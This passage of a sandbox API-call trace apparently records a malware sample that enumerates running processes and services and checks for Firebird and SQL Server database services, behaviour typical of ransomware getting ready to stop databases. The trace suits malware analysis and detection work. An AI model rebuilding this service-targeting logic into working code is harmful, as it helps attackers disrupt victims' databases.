(lpString="winlogon.exe") returned 12 [0180.725] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0180.726] lstrlenW (lpString="services.exe") returned 12 [0180.726] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0180.726] lstrlenW (lpString="lsass.exe") returned 9 [0180.726] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0180.726] lstrlenW (lpString="lsm.exe") returned 7 [0180.726] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.727] lstrlenW (lpString="svchost.exe") returned 11 [0180.727] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.727] lstrlenW (lpString="svchost.exe") returned 11 [0180.727] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.727] lstrlenW (lpString="svchost.exe") returned 11 [0180.728] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.728] lstrlenW (lpString="svchost.exe") returned 11 [0180.728] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.728] lstrlenW (lpString="svchost.exe") returned 11 [0180.728] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0180.729] lstrlenW (lpString="audiodg.exe") returned 11 [0180.729] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.729] lstrlenW (lpString="svchost.exe") returned 11 [0180.729] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0180.729] lstrlenW (lpString="explorer.exe") returned 12 [0180.729] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0180.730] lstrlenW (lpString="dwm.exe") returned 7 [0180.730] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.730] lstrlenW (lpString="svchost.exe") returned 11 [0180.730] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0180.730] lstrlenW (lpString="n.exe") returned 5 [0180.730] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0180.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0180.731] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0180.731] lstrlenW (lpString="svchost.exe") returned 11 [0180.731] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0180.731] lstrlenW (lpString="taskhost.exe") returned 12 [0180.731] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0180.732] lstrlenW (lpString="reader_sl.exe") returned 13 [0180.732] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0180.732] lstrlenW (lpString="n.exe") returned 5 [0180.732] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0180.732] lstrlenW (lpString="n.exe") returned 5 [0180.733] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0180.733] lstrlenW (lpString="n.exe") returned 5 [0180.733] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0180.733] CloseHandle (hObject=0x2e0) returned 1 [0180.733] Sleep (dwMilliseconds=0x1f4) [0181.478] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0181.478] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0181.478] GetLastError () returned 0xea [0181.478] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0181.478] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0181.479] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0181.479] lstrlenW (lpString="Appinfo") returned 7 [0181.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0181.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0181.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0181.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0181.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0181.479] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0181.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0181.479] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0181.479] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0181.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0181.479] lstrlenW (lpString="AudioSrv") returned 8 [0181.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0181.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0181.479] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0181.479] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0181.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0181.480] lstrlenW (lpString="BFE") returned 3 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0181.480] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0181.480] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0181.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0181.480] lstrlenW (lpString="CryptSvc") returned 8 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0181.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0181.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0181.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0181.480] lstrlenW (lpString="CscService") returned 10 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0181.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0181.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0181.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0181.480] lstrlenW (lpString="DcomLaunch") returned 10 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.480] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0181.480] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0181.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0181.480] lstrlenW (lpString="Dhcp") returned 4 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0181.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0181.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0181.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0181.480] lstrlenW (lpString="Dnscache") returned 8 [0181.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0181.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0181.481] lstrlenW (lpString="DPS") returned 3 [0181.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0181.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0181.481] lstrlenW (lpString="eventlog") returned 8 [0181.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0181.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0181.481] lstrlenW (lpString="EventSystem") returned 11 [0181.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0181.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0181.481] lstrlenW (lpString="gpsvc") returned 5 [0181.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0181.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0181.481] lstrlenW (lpString="iphlpsvc") returned 8 [0181.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.481] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0181.481] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0181.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0181.482] lstrlenW (lpString="LanmanServer") returned 12 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0181.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0181.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0181.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0181.482] lstrlenW (lpString="LanmanWorkstation") returned 17 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0181.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0181.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0181.482] lstrlenW (lpString="lmhosts") returned 7 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0181.482] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0181.482] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0181.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0181.482] lstrlenW (lpString="MMCSS") returned 5 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0181.482] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0181.482] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0181.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0181.482] lstrlenW (lpString="MpsSvc") returned 6 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0181.482] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0181.482] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0181.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0181.482] lstrlenW (lpString="Netman") returned 6 [0181.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0181.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0181.483] lstrlenW (lpString="netprofm") returned 8 [0181.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0181.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0181.483] lstrlenW (lpString="NlaSvc") returned 6 [0181.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0181.483] lstrlenW (lpString="nsi") returned 3 [0181.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0181.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0181.483] lstrlenW (lpString="PcaSvc") returned 6 [0181.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0181.483] lstrlenW (lpString="PlugPlay") returned 8 [0181.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0181.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0181.483] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0181.483] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0181.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0181.483] lstrlenW (lpString="Power") returned 5 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0181.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0181.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0181.484] lstrlenW (lpString="ProfSvc") returned 7 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0181.484] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0181.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0181.484] lstrlenW (lpString="RpcEptMapper") returned 12 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0181.484] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0181.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0181.484] lstrlenW (lpString="RpcSs") returned 5 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0181.484] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0181.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0181.484] lstrlenW (lpString="SamSs") returned 5 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0181.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0181.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0181.484] lstrlenW (lpString="Schedule") returned 8 [0181.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0181.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0181.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0181.485] lstrlenW (lpString="SENS") returned 4 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0181.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0181.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0181.485] lstrlenW (lpString="ShellHWDetection") returned 16 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.485] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0181.485] lstrlenW (lpString="Spooler") returned 7 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0181.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0181.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0181.485] lstrlenW (lpString="SysMain") returned 7 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0181.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0181.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0181.485] lstrlenW (lpString="Themes") returned 6 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0181.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0181.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0181.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0181.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0181.485] lstrlenW (lpString="TrkWks") returned 6 [0181.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0181.486] lstrcmpiW 